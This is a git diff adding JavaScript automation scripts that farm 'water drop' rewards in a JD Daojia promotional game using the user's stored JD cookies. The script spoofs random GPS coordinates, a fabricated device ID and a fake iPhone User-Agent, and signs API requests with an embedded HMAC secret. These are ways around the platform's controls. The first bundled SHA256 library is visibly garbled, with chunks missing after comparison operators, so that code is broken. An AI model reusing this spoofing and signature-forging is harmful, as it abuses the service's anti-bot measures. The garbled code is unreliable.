!r.test(l.url || "") && (l.url = h ? h + l.url : l.url); const a = (l = { ...e, ...l }).timeout, c = { onRequest: () => { }, onResponse: e => e, onTimeout: () => { }, ...l.events }; let f, d; if (c.onRequest(u, l), t) f = $task.fetch({ method: u, ...l }); else if (s || i || o) f = new Promise((e, t) => { (o ? require("request") : $httpClient)[u.toLowerCase()](l, (s, i, n) => { s ? t(s) : e({ statusCode: i.status || i.statusCode, headers: i.headers, body: n }) }) }); else if (n) { const e = new Request(l.url); e.method = u, e.headers = l.headers, e.body = l.body, f = new Promise((t, s) => { e.loadString().then(s => { t({ statusCode: e.response.statusCode, headers: e.response.headers, body: s }) }).catch(e => s(e)) }) } const p = a ? new Promise((e, t) => { d = setTimeout(() => (c.onTimeout(), t(`${u} URL: ${l.url} exceeds the timeout ${a} ms`)), a) }) : null; return (p ? Promise.race([p, f]).then(e => (clearTimeout(d), e)) : f).then(e => c.onResponse(e)) })(l, u))), u } function API(e = "untitled", t = !1) { const { isQX: s, isLoon: i, isSurge: n, isNode: o, isJSBox: r, isScriptable: u } = ENV(); return new class { constructor(e, t) { this.name = e, this.debug = t, this.http = HTTP(), this.env = ENV(), this.node = (() => { if (o) { return { fs: require("fs") } } return null })(), this.initCache(); Promise.prototype.delay = function (e) { return this.then(function (t) { return ((e, t) => new Promise(function (s) { setTimeout(s.bind(null, t), e) }))(e, t) }) } } initCache() { if (s && (this.cache = JSON.parse($prefs.valueForKey(this.name) || "{}")), (i || n) && (this.cache = JSON.parse($persistentStore.read(this.name) || "{}")), o) { let e = "root.json"; this.node.fs.existsSync(e) || this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.root = {}, e = `${this.name}.json`, this.node.fs.existsSync(e) ? this.cache = JSON.parse(this.node.fs.readFileSync(`${this.name}.json`)) : (this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.cache = {}) } } persistCache() { const e = JSON.stringify(this.cache, null, 2); s && $prefs.setValueForKey(e, this.name), (i || n) && $persistentStore.write(e, this.name), o && (this.node.fs.writeFileSync(`${this.name}.json`, e, { flag: "w" }, e => console.log(e)), this.node.fs.writeFileSync("root.json", JSON.stringify(this.root, null, 2), { flag: "w" }, e => console.log(e))) } write(e, t) { if (this.log(`SET ${t}`), -1 !== t.indexOf("#")) { if (t = t.substr(1), n || i) return $persistentStore.write(e, t); if (s) return $prefs.setValueForKey(e, t); o && (this.root[t] = e) } else this.cache[t] = e; this.persistCache() } read(e) { return this.log(`READ ${e}`), -1 === e.indexOf("#") ? this.cache[e] : (e = e.substr(1), n || i ? $persistentStore.read(e) : s ? $prefs.valueForKey(e) : o ? this.root[e] : void 0) } delete(e) { if (this.log(`DELETE ${e}`), -1 !== e.indexOf("#")) { if (e = e.substr(1), n || i) return $persistentStore.write(null, e); if (s) return $prefs.removeValueForKey(e); o && delete this.root[e] } else delete this.cache[e]; this.persistCache() } notify(e, t = "", l = "", h = {}) { const a = h["open-url"], c = h["media-url"]; if (s && $notify(e, t, l, h), n && $notification.post(e, t, l + `${c ? "\n多媒体:" + c : ""}`, { url: a }), i) { let s = {}; a && (s.openUrl = a), c && (s.mediaUrl = c), "{}" === JSON.stringify(s) ? $notification.post(e, t, l) : $notification.post(e, t, l, s) } if (o || u) { const s = l + (a ? `\n点击跳转: ${a}` : "") + (c ? `\n多媒体: ${c}` : ""); if (r) { require("push").schedule({ title: e, body: (t ? t + "\n" : "") + s }) } else console.log(`${e}\n${t}\n${s}\n\n`) } } log(e) { this.debug && console.log(`[${this.name}] LOG: ${this.stringify(e)}`) } info(e) { console.log(`[${this.name}] INFO: ${this.stringify(e)}`) } error(e) { console.log(`[${this.name}] ERROR: ${this.stringify(e)}`) } wait(e) { return new Promise(t => setTimeout(t, e)) } done(e = {}) { console.log('done!'); s || i || n ? $done(e) : o && !r && "undefined" != typeof $context && ($context.headers = e.headers, $context.statusCode = e.statusCode, $context.body = e.body) } stringify(e) { if ("string" == typeof e || e instanceof String) return e; try { return JSON.stringify(e, null, 2) } catch (e) { return "[object Object]" } } }(e, t) } +/*****************************************************************************/ + +/*********************************** SHA256 *************************************/ +var hexcase=0;var b64pad="";function hex_sha256(s){return rstr2hex(rstr_sha256(str2rstr_utf8(s)))}function b64_sha256(s){return rstr2b64(rstr_sha256(str2rstr_utf8(s)))}function any_sha256(s,e){return rstr2any(rstr_sha256(str2rstr_utf8(s)),e)}function hex_hmac_sha256(k,d){return rstr2hex(rstr_hmac_sha256(str2rstr_utf8(k),str2rstr_utf8(d)))}function b64_hmac_sha256(k,d){return rstr2b64(rstr_hmac_sha256(str2rstr_utf8(k),str2rstr_utf8(d)))}function any_hmac_sha256(k,d,e){return rstr2any(rstr_hmac_sha256(str2rstr_utf8(k),str2rstr_utf8(d)),e)}function sha256_vm_test(){return hex_sha256("abc").toLowerCase()=="ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad"}function rstr_sha256(s){return binb2rstr(binb_sha256(rstr2binb(s),s.length*8))}function rstr_hmac_sha256(key,data){var bkey=rstr2binb(key);if(bkey.length>16)bkey=binb_sha256(bkey,key.length*8);var ipad=Array(16),opad=Array(16);for(var i=0;i<16;i++){ipad[i]=bkey[i]^0x36363636;opad[i]=bkey[i]^0x5C5C5C5C}var hash=binb_sha256(ipad.concat(rstr2binb(data)),512+data.length*8);return binb2rstr(binb_sha256(opad.concat(hash),512+256))}function rstr2hex(input){try{hexcase}catch(e){hexcase=0}var hex_tab=hexcase?"0123456789ABCDEF":"0123456789abcdef";var output="";var x;for(var i=0;i>>4)&0x0F)+hex_tab.charAt(x&0x0F)}return output}function rstr2b64(input){try{b64pad}catch(e){b64pad=''}var tab="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";var output="";var len=input.length;for(var i=0;iinput.length*8)output+=b64pad;else output+=tab.charAt((triplet>>>6*(3-j))&0x3F)}}return output}function rstr2any(input,encoding){var divisor=encoding.length;var remainders=Array();var i,q,x,quotient;var dividend=Array(Math.ceil(input.length/2));for(i=0;i0){quotient=Array();x=0;for(i=0;i0||q>0)quotient[quotient.length]=q}remainders[remainders.length]=x;dividend=quotient}var output="";for(i=remainders.length-1;i>=0;i--)output+=encoding.charAt(remainders[i]);var full_length=Math.ceil(input.length*8/(Math.log(encoding.length)/Math.log(2)));for(i=output.length;i>>6)&0x1F),0x80|(x&0x3F));else if(x<=0xFFFF)output+=String.fromCharCode(0xE0|((x>>>12)&0x0F),0x80|((x>>>6)&0x3F),0x80|(x&0x3F));else if(x<=0x1FFFFF)output+=String.fromCharCode(0xF0|((x>>>18)&0x07),0x80|((x>>>12)&0x3F),0x80|((x>>>6)&0x3F),0x80|(x&0x3F))}return output}function str2rstr_utf16le(input){var output="";for(var i=0;i>>8)&0xFF);return output}function str2rstr_utf16be(input){var output="";for(var i=0;i>>8)&0xFF,input.charCodeAt(i)&0xFF);return output}function rstr2binb(input){var output=Array(input.length>>2);for(var i=0;i>5]|=(input.charCodeAt(i/8)&0xFF)<<(24-i%32);return output}function binb2rstr(input){var output="";for(var i=0;i>5]>>>(24-i%32))&0xFF);return output}function sha256_S(X,n){return(X>>>n)|(X<<(32-n))}function sha256_R(X,n){return(X>>>n)}function sha256_Ch(x,y,z){return((x&y)^((~x)&z))}function sha256_Maj(x,y,z){return((x&y)^(x&z)^(y&z))}function sha256_Sigma0256(x){return(sha256_S(x,2)^sha256_S(x,13)^sha256_S(x,22))}function sha256_Sigma1256(x){return(sha256_S(x,6)^sha256_S(x,11)^sha256_S(x,25))}function sha256_Gamma0256(x){return(sha256_S(x,7)^sha256_S(x,18)^sha256_R(x,3))}function sha256_Gamma1256(x){return(sha256_S(x,17)^sha256_S(x,19)^sha256_R(x,10))}function sha256_Sigma0512(x){return(sha256_S(x,28)^sha256_S(x,34)^sha256_S(x,39))}function sha256_Sigma1512(x){return(sha256_S(x,14)^sha256_S(x,18)^sha256_S(x,41))}function sha256_Gamma0512(x){return(sha256_S(x,1)^sha256_S(x,8)^sha256_R(x,7))}function sha256_Gamma1512(x){return(sha256_S(x,19)^sha256_S(x,61)^sha256_R(x,6))}var sha256_K=new Array(1116352408,1899447441,-1245643825,-373957723,961987163,1508970993,-1841331548,-1424204075,-670586216,310598401,607225278,1426881987,1925078388,-2132889090,-1680079193,-1046744716,-459576895,-272742522,264347078,604807628,770255983,1249150122,1555081692,1996064986,-1740746414,-1473132947,-1341970488,-1084653625,-958395405,-710438585,113926993,338241895,666307205,773529912,1294757372,1396182291,1695183700,1986661051,-2117940946,-1838011259,-1564481375,-1474664885,-1035236496,-949202525,-778901479,-694614492,-200395387,275423344,430227734,506948616,659060556,883997877,958139571,1322822218,1537002063,1747873779,1955562222,2024104815,-2067236844,-1933114872,-1866530822,-1538233109,-1090935817,-965641998);function binb_sha256(m,l){var HASH=new Array(1779033703,-1150833019,1013904242,-1521486534,1359893119,-1694144372,528734635,1541459225);var W=new Array(64);var a,b,c,d,e,f,g,h;var i,j,T1,T2;m[l>>5]|=0x80<<(24-l%32);m[((l+64>>9)<<4)+15]=l;for(i=0;i>16)+(y>>16)+(lsw>>16);return(msw<<16)|(lsw&0xFFFF)} +/*********************************** SHA256 *************************************/ diff --git a/jddj_fruit_collectWater.json b/jddj_fruit_collectWater.json new file mode 100644 index 0000000..9e26dfe --- /dev/null +++ b/jddj_fruit_collectWater.json @@ -0,0 +1 @@ +{} \ No newline at end of file diff --git a/jddj_getPoints.js b/jddj_getPoints.js new file mode 100644 index 0000000..4dd772e --- /dev/null +++ b/jddj_getPoints.js @@ -0,0 +1,245 @@ + +//京东到家鲜豆庄园收水滴脚本,支持qx,loon,shadowrocket,surge,nodejs +// 兼容京东jdCookie.js +// 手机设备在boxjs里填写cookie +// boxjs订阅地址:https://gitee.com/passerby-b/javascript/raw/master/JD/passerby-b.boxjs.json +//TG群:https://t.me/passerbyb2021 + +//[task_local] +//7 */1 * * * https://raw.githubusercontent.com/passerby-b/JDDJ/main/jddj_getPoints.js + + +//[Script] +//cron "7 */1 * * *" script-path=https://raw.githubusercontent.com/passerby-b/JDDJ/main/jddj_getPoints.js,tag=京东到家鲜豆庄园收水滴 + + +const $ = new API("jddj_getPoints"); +let ckPath = './jdCookie.js';//ck路径,环境变量:JDDJ_CKPATH +let cookies = []; +let thiscookie = '', deviceid = '', nickname = ''; +let lat = '30.' + Math.round(Math.random() * (99999 - 10000) + 10000); +let lng = '114.' + Math.round(Math.random() * (99999 - 10000) + 10000); +let cityid = Math.round(Math.random() * (1500 - 1000) + 1000); +!(async () => { + if (cookies.length == 0) { + if ($.env.isNode) { + if (process.env.JDDJ_CKPATH) ckPath = process.env.JDDJ_CKPATH; + delete require.cache[ckPath]; + let jdcookies = require(ckPath); + for (let key in jdcookies) if (!!jdcookies[key]) cookies.push(jdcookies[key]); + } + else { + let ckstr = $.read('#jddj_cookies'); + if (!!ckstr) { + if (ckstr.indexOf(',') < 0) { + cookies.push(ckstr); + } else { + cookies = ckstr.split(','); + } + } + } + } + if (cookies.length == 0) { + console.log(`\r\n请先填写cookie`); + return; + } + for (let i = 0; i < cookies.length; i++) { + console.log(`\r\n★★★★★开始执行第${i + 1}个账号,共${cookies.length}个账号★★★★★`); + thiscookie = cookies[i]; + if (!thiscookie) continue; + + thiscookie = await taskLoginUrl(thiscookie); + + await userinfo(); + await $.wait(1000); + + await getPoints(); + await $.wait(1000); + + } + +})().catch((e) => { + console.log('', `❌失败! 原因: ${e}!`, ''); +}).finally(() => { + $.done(); +}) + +//收水车水滴 +async function getPoints() { + return new Promise(async resolve => { + try { + let time = Math.round(new Date()); + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + time + '&_funid_=plantBeans/getWater', 'functionId=plantBeans%2FgetWater&isNeedDealError=true&method=POST&body=%7B%7D&lat=' + lat + '&lng=' + lng + '&lat_pos=' + lat + '&lng_pos=' + lng + '&city_id=' + cityid + '&channel=rn&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + time + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '&_jdrandom=' + time + '&_funid_=plantBeans%2FgetWater'); + $.http.post(option).then(async response => { + let data = JSON.parse(response.body); + if (data.code == 0) { + console.log('\n【收水车水滴】:' + data.msg + '->当前收取:' + data.result.addWater + ',当前剩余:' + data.result.water + ',当日累计:' + data.result.dailyWater); + } else { + console.log('\n【收水车水滴】:' + data.msg); + } + resolve(); + }) + + } catch (error) { + console.log('\n【收水车水滴】:' + error); + resolve(); + } + }) +} + +//浇水 +async function watering() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()), 'functionId=plantBeans%2Fwatering&isNeedDealError=true&method=POST&body=%7B%22activityId%22%3A%2223e4a58bca00bef%22%2C%22waterAmount%22%3A100%7D&lat=&lng=&lat_pos=&lng_pos=&city_id=&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + ''); + + let waterStatus = 1, waterCount = 0; + do { + waterCount++; + console.log(`\n**********开始执行第${waterCount}次浇水**********`); + + $.http.post(option).then(response => { + let data = JSON.parse(response.body); + console.log('\n【浇水】:' + data.msg); + waterStatus = data.code; + }) + await $.wait(1000); + } while (waterStatus == 0); + resolve(); + + } catch (error) { + console.log('\n【浇水】:' + error); + resolve(); + } + + }) +} + +//个人信息 +async function userinfo() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?channel=wx_xcx&platform=5.0.0&platCode=mini&mpChannel=wx_xcx&appVersion=8.10.5&xcxVersion=8.10.1&appName=paidaojia&functionId=mine%2FgetUserAccountInfo&isForbiddenDialog=false&isNeedDealError=false&isNeedDealLogin=false&body=%7B%22cityId%22%3A' + cityid + '%2C%22fromSource%22%3A%225%22%7D&afsImg=&lat_pos=' + lat + '&lng_pos=' + lng + '&lat=' + lat + '&lng=' + lng + '&city_id=' + cityid + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '&deviceModel=appmodel&business=&traceId=' + deviceid + '1628044517506&channelCode=', ''); + $.http.get(option).then(response => { + //console.log(response.body); + let data = JSON.parse(response.body); + if (data.code == 0) { + try { + nickname = data.result.userInfo.userBaseInfo.nickName; + console.log("●●●" + nickname + "●●●"); + } catch (error) { nickname = '昵称获取失败' } + } + else nickname = '昵称获取失败'; + }); + resolve(); + + } catch (error) { + console.log('\n【个人信息】:' + error); + resolve(); + } + }) +} + +function urlTask(url, body) { + + let arr = decodeURIComponent(body).split('&'); + let json = {}, keys = [], sortVlaues = []; + for (const o of arr) { + let c = o.split('='); + if (!!c[1] && c[0] != 'functionId' && c[0] != 'signKeyV1') { + json[c[0]] = c[1]; + keys.push(c[0]); + } + } + keys = keys.sort(); + keys.forEach(element => { + sortVlaues.push(json[element]); + }); + + const secret = "923047ae3f8d11d8b19aeb9f3d1bc200";//秘钥 + // var hmac = crypto.createHmac("sha256", secret); + // var content = hmac.update(sortVlaues.join('&')); + // var cryptoContent = content.digest("hex"); + + let cryptoContent = hex_hmac_sha256(secret, sortVlaues.join('&')); + + let option = { + url: url, + headers: { + 'Host': 'daojia.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded;', + 'Cookie': thiscookie, + 'Connection': 'keep-alive', + 'Accept': '*/*', + 'User-Agent': 'jdapp;iPhone;10.1.0;14.1;' + deviceid + ';network/wifi;model/iPhone11,6;addressid/397459499;appBuild/167774;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'Accept-Language': 'zh-cn' + }, + body: body + '&signKeyV1=' + cryptoContent + }; + return option; +} + +//根据京东ck获取到家ck +async function taskLoginUrl(thiscookie) { + return new Promise(async resolve => { + try { + if (thiscookie.indexOf('deviceid_pdj_jd') > -1) { + let arr = thiscookie.split(';'); + for (const o of arr) { + if (o.indexOf('deviceid_pdj_jd') > -1) { + deviceid = o.split('=')[1]; + } + } + resolve(thiscookie); + } + else { + deviceid = _uuid(); + let option = { + url: encodeURI('https://daojia.jd.com/client?_jdrandom=' + (+new Date()) + '&_funid_=login/treasure&functionId=login/treasure&body={}&lat=&lng=&lat_pos=&lng_pos=&city_id=&channel=h5&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&isNeedDealError=false&traceId=' + deviceid + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '&_jdrandom=' + (+new Date()) + '&_funid_=login/treasure'), + headers: { + "Cookie": 'deviceid_pdj_jd=' + deviceid + ';' + thiscookie + ';', + "Host": "daojia.jd.com", + 'Content-Type': 'application/x-www-form-urlencoded;', + "User-Agent": 'jdapp;iPhone;10.0.10;14.1;' + deviceid + ';network/wifi;model/iPhone11,6;appBuild/167764;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1' + } + }; + let ckstr = ''; + await $.http.get(option).then(async response => { + //console.log(response); + let body = JSON.parse(response.body); + if (body.code == 0) { + for (const key in response.headers) { + if (key.toLowerCase().indexOf('cookie') > -1) { + ckstr = response.headers[key].toString(); + } + } + ckstr += ';deviceid_pdj_jd=' + deviceid; + } + else { + console.log(body.msg); + } + }); + resolve(ckstr); + } + + } catch (error) { + console.log(error); + resolve(''); + } + }) +} + +function _uuid() { + function s4() { + return Math.floor((1 + Math.random()) * 0x10000).toString(16).substring(1); + } + return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4(); +} + +/*********************************** API *************************************/ +function ENV() { const e = "undefined" != typeof $task, t = "undefined" != typeof $loon, s = "undefined" != typeof $httpClient && !t, i = "function" == typeof require && "undefined" != typeof $jsbox; return { isQX: e, isLoon: t, isSurge: s, isNode: "function" == typeof require && !i, isJSBox: i, isRequest: "undefined" != typeof $request, isScriptable: "undefined" != typeof importModule } } function HTTP(e = { baseURL: "" }) { const { isQX: t, isLoon: s, isSurge: i, isScriptable: n, isNode: o } = ENV(), r = /https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&\/\/=]*)/; const u = {}; return ["GET", "POST", "PUT", "DELETE", "HEAD", "OPTIONS", "PATCH"].forEach(l => u[l.toLowerCase()] = (u => (function (u, l) { l = "string" == typeof l ? { url: l } : l; const h = e.baseURL; h && !r.test(l.url || "") && (l.url = h ? h + l.url : l.url); const a = (l = { ...e, ...l }).timeout, c = { onRequest: () => { }, onResponse: e => e, onTimeout: () => { }, ...l.events }; let f, d; if (c.onRequest(u, l), t) f = $task.fetch({ method: u, ...l }); else if (s || i || o) f = new Promise((e, t) => { (o ? require("request") : $httpClient)[u.toLowerCase()](l, (s, i, n) => { s ? t(s) : e({ statusCode: i.status || i.statusCode, headers: i.headers, body: n }) }) }); else if (n) { const e = new Request(l.url); e.method = u, e.headers = l.headers, e.body = l.body, f = new Promise((t, s) => { e.loadString().then(s => { t({ statusCode: e.response.statusCode, headers: e.response.headers, body: s }) }).catch(e => s(e)) }) } const p = a ? new Promise((e, t) => { d = setTimeout(() => (c.onTimeout(), t(`${u} URL: ${l.url} exceeds the timeout ${a} ms`)), a) }) : null; return (p ? Promise.race([p, f]).then(e => (clearTimeout(d), e)) : f).then(e => c.onResponse(e)) })(l, u))), u } function API(e = "untitled", t = !1) { const { isQX: s, isLoon: i, isSurge: n, isNode: o, isJSBox: r, isScriptable: u } = ENV(); return new class { constructor(e, t) { this.name = e, this.debug = t, this.http = HTTP(), this.env = ENV(), this.node = (() => { if (o) { return { fs: require("fs") } } return null })(), this.initCache(); Promise.prototype.delay = function (e) { return this.then(function (t) { return ((e, t) => new Promise(function (s) { setTimeout(s.bind(null, t), e) }))(e, t) }) } } initCache() { if (s && (this.cache = JSON.parse($prefs.valueForKey(this.name) || "{}")), (i || n) && (this.cache = JSON.parse($persistentStore.read(this.name) || "{}")), o) { let e = "root.json"; this.node.fs.existsSync(e) || this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.root = {}, e = `${this.name}.json`, this.node.fs.existsSync(e) ? this.cache = JSON.parse(this.node.fs.readFileSync(`${this.name}.json`)) : (this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.cache = {}) } } persistCache() { const e = JSON.stringify(this.cache, null, 2); s && $prefs.setValueForKey(e, this.name), (i || n) && $persistentStore.write(e, this.name), o && (this.node.fs.writeFileSync(`${this.name}.json`, e, { flag: "w" }, e => console.log(e)), this.node.fs.writeFileSync("root.json", JSON.stringify(this.root, null, 2), { flag: "w" }, e => console.log(e))) } write(e, t) { if (this.log(`SET ${t}`), -1 !== t.indexOf("#")) { if (t = t.substr(1), n || i) return $persistentStore.write(e, t); if (s) return $prefs.setValueForKey(e, t); o && (this.root[t] = e) } else this.cache[t] = e; this.persistCache() } read(e) { return this.log(`READ ${e}`), -1 === e.indexOf("#") ? this.cache[e] : (e = e.substr(1), n || i ? $persistentStore.read(e) : s ? $prefs.valueForKey(e) : o ? this.root[e] : void 0) } delete(e) { if (this.log(`DELETE ${e}`), -1 !== e.indexOf("#")) { if (e = e.substr(1), n || i) return $persistentStore.write(null, e); if (s) return $prefs.removeValueForKey(e); o && delete this.root[e] } else delete this.cache[e]; this.persistCache() } notify(e, t = "", l = "", h = {}) { const a = h["open-url"], c = h["media-url"]; if (s && $notify(e, t, l, h), n && $notification.post(e, t, l + `${c ? "\n多媒体:" + c : ""}`, { url: a }), i) { let s = {}; a && (s.openUrl = a), c && (s.mediaUrl = c), "{}" === JSON.stringify(s) ? $notification.post(e, t, l) : $notification.post(e, t, l, s) } if (o || u) { const s = l + (a ? `\n点击跳转: ${a}` : "") + (c ? `\n多媒体: ${c}` : ""); if (r) { require("push").schedule({ title: e, body: (t ? t + "\n" : "") + s }) } else console.log(`${e}\n${t}\n${s}\n\n`) } } log(e) { this.debug && console.log(`[${this.name}] LOG: ${this.stringify(e)}`) } info(e) { console.log(`[${this.name}] INFO: ${this.stringify(e)}`) } error(e) { console.log(`[${this.name}] ERROR: ${this.stringify(e)}`) } wait(e) { return new Promise(t => setTimeout(t, e)) } done(e = {}) { console.log('done!'); s || i || n ? $done(e) : o && !r && "undefined" != typeof $context && ($context.headers = e.headers, $context.statusCode = e.statusCode, $context.body = e.body) } stringify(e) { if ("string" == typeof e || e instanceof String) return e; try { return JSON.stringify(e, null, 2) } catch (e) { return "[object Object]" } } }(e, t) } +/*****************************************************************************/ + +/*********************************** SHA256 *************************************/ +var hexcase = 0; var b64pad = ""; function hex_sha256(s) { return rstr2hex(rstr_sha256(str2rstr_utf8(s))) } function b64_sha256(s) { return rstr2b64(rstr_sha256(str2rstr_utf8(s))) } function any_sha256(s, e) { return rstr2any(rstr_sha256(str2rstr_utf8(s)), e) } function hex_hmac_sha256(k, d) { return rstr2hex(rstr_hmac_sha256(str2rstr_utf8(k), str2rstr_utf8(d))) } function b64_hmac_sha256(k, d) { return rstr2b64(rstr_hmac_sha256(str2rstr_utf8(k), str2rstr_utf8(d))) } function any_hmac_sha256(k, d, e) { return rstr2any(rstr_hmac_sha256(str2rstr_utf8(k), str2rstr_utf8(d)), e) } function sha256_vm_test() { return hex_sha256("abc").toLowerCase() == "ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad" } function rstr_sha256(s) { return binb2rstr(binb_sha256(rstr2binb(s), s.length * 8)) } function rstr_hmac_sha256(key, data) { var bkey = rstr2binb(key); if (bkey.length > 16) bkey = binb_sha256(bkey, key.length * 8); var ipad = Array(16), opad = Array(16); for (var i = 0; i < 16; i++) { ipad[i] = bkey[i] ^ 0x36363636; opad[i] = bkey[i] ^ 0x5C5C5C5C } var hash = binb_sha256(ipad.concat(rstr2binb(data)), 512 + data.length * 8); return binb2rstr(binb_sha256(opad.concat(hash), 512 + 256)) } function rstr2hex(input) { try { hexcase } catch (e) { hexcase = 0 } var hex_tab = hexcase ? "0123456789ABCDEF" : "0123456789abcdef"; var output = ""; var x; for (var i = 0; i < input.length; i++) { x = input.charCodeAt(i); output += hex_tab.charAt((x >>> 4) & 0x0F) + hex_tab.charAt(x & 0x0F) } return output } function rstr2b64(input) { try { b64pad } catch (e) { b64pad = '' } var tab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; var output = ""; var len = input.length; for (var i = 0; i < len; i += 3) { var triplet = (input.charCodeAt(i) << 16) | (i + 1 < len ? input.charCodeAt(i + 1) << 8 : 0) | (i + 2 < len ? input.charCodeAt(i + 2) : 0); for (var j = 0; j < 4; j++) { if (i * 8 + j * 6 > input.length * 8) output += b64pad; else output += tab.charAt((triplet >>> 6 * (3 - j)) & 0x3F) } } return output } function rstr2any(input, encoding) { var divisor = encoding.length; var remainders = Array(); var i, q, x, quotient; var dividend = Array(Math.ceil(input.length / 2)); for (i = 0; i < dividend.length; i++) { dividend[i] = (input.charCodeAt(i * 2) << 8) | input.charCodeAt(i * 2 + 1) } while (dividend.length > 0) { quotient = Array(); x = 0; for (i = 0; i < dividend.length; i++) { x = (x << 16) + dividend[i]; q = Math.floor(x / divisor); x -= q * divisor; if (quotient.length > 0 || q > 0) quotient[quotient.length] = q } remainders[remainders.length] = x; dividend = quotient } var output = ""; for (i = remainders.length - 1; i >= 0; i--)output += encoding.charAt(remainders[i]); var full_length = Math.ceil(input.length * 8 / (Math.log(encoding.length) / Math.log(2))); for (i = output.length; i < full_length; i++)output = encoding[0] + output; return output } function str2rstr_utf8(input) { var output = ""; var i = -1; var x, y; while (++i < input.length) { x = input.charCodeAt(i); y = i + 1 < input.length ? input.charCodeAt(i + 1) : 0; if (0xD800 <= x && x <= 0xDBFF && 0xDC00 <= y && y <= 0xDFFF) { x = 0x10000 + ((x & 0x03FF) << 10) + (y & 0x03FF); i++ } if (x <= 0x7F) output += String.fromCharCode(x); else if (x <= 0x7FF) output += String.fromCharCode(0xC0 | ((x >>> 6) & 0x1F), 0x80 | (x & 0x3F)); else if (x <= 0xFFFF) output += String.fromCharCode(0xE0 | ((x >>> 12) & 0x0F), 0x80 | ((x >>> 6) & 0x3F), 0x80 | (x & 0x3F)); else if (x <= 0x1FFFFF) output += String.fromCharCode(0xF0 | ((x >>> 18) & 0x07), 0x80 | ((x >>> 12) & 0x3F), 0x80 | ((x >>> 6) & 0x3F), 0x80 | (x & 0x3F)) } return output } function str2rstr_utf16le(input) { var output = ""; for (var i = 0; i < input.length; i++)output += String.fromCharCode(input.charCodeAt(i) & 0xFF, (input.charCodeAt(i) >>> 8) & 0xFF); return output } function str2rstr_utf16be(input) { var output = ""; for (var i = 0; i < input.length; i++)output += String.fromCharCode((input.charCodeAt(i) >>> 8) & 0xFF, input.charCodeAt(i) & 0xFF); return output } function rstr2binb(input) { var output = Array(input.length >> 2); for (var i = 0; i < output.length; i++)output[i] = 0; for (var i = 0; i < input.length * 8; i += 8)output[i >> 5] |= (input.charCodeAt(i / 8) & 0xFF) << (24 - i % 32); return output } function binb2rstr(input) { var output = ""; for (var i = 0; i < input.length * 32; i += 8)output += String.fromCharCode((input[i >> 5] >>> (24 - i % 32)) & 0xFF); return output } function sha256_S(X, n) { return (X >>> n) | (X << (32 - n)) } function sha256_R(X, n) { return (X >>> n) } function sha256_Ch(x, y, z) { return ((x & y) ^ ((~x) & z)) } function sha256_Maj(x, y, z) { return ((x & y) ^ (x & z) ^ (y & z)) } function sha256_Sigma0256(x) { return (sha256_S(x, 2) ^ sha256_S(x, 13) ^ sha256_S(x, 22)) } function sha256_Sigma1256(x) { return (sha256_S(x, 6) ^ sha256_S(x, 11) ^ sha256_S(x, 25)) } function sha256_Gamma0256(x) { return (sha256_S(x, 7) ^ sha256_S(x, 18) ^ sha256_R(x, 3)) } function sha256_Gamma1256(x) { return (sha256_S(x, 17) ^ sha256_S(x, 19) ^ sha256_R(x, 10)) } function sha256_Sigma0512(x) { return (sha256_S(x, 28) ^ sha256_S(x, 34) ^ sha256_S(x, 39)) } function sha256_Sigma1512(x) { return (sha256_S(x, 14) ^ sha256_S(x, 18) ^ sha256_S(x, 41)) } function sha256_Gamma0512(x) { return (sha256_S(x, 1) ^ sha256_S(x, 8) ^ sha256_R(x, 7)) } function sha256_Gamma1512(x) { return (sha256_S(x, 19) ^ sha256_S(x, 61) ^ sha256_R(x, 6)) } var sha256_K = new Array(1116352408, 1899447441, -1245643825, -373957723, 961987163, 1508970993, -1841331548, -1424204075, -670586216, 310598401, 607225278, 1426881987, 1925078388, -2132889090, -1680079193, -1046744716, -459576895, -272742522, 264347078, 604807628, 770255983, 1249150122, 1555081692, 1996064986, -1740746414, -1473132947, -1341970488, -1084653625, -958395405, -710438585, 113926993, 338241895, 666307205, 773529912, 1294757372, 1396182291, 1695183700, 1986661051, -2117940946, -1838011259, -1564481375, -1474664885, -1035236496, -949202525, -778901479, -694614492, -200395387, 275423344, 430227734, 506948616, 659060556, 883997877, 958139571, 1322822218, 1537002063, 1747873779, 1955562222, 2024104815, -2067236844, -1933114872, -1866530822, -1538233109, -1090935817, -965641998); function binb_sha256(m, l) { var HASH = new Array(1779033703, -1150833019, 1013904242, -1521486534, 1359893119, -1694144372, 528734635, 1541459225); var W = new Array(64); var a, b, c, d, e, f, g, h; var i, j, T1, T2; m[l >> 5] |= 0x80 << (24 - l % 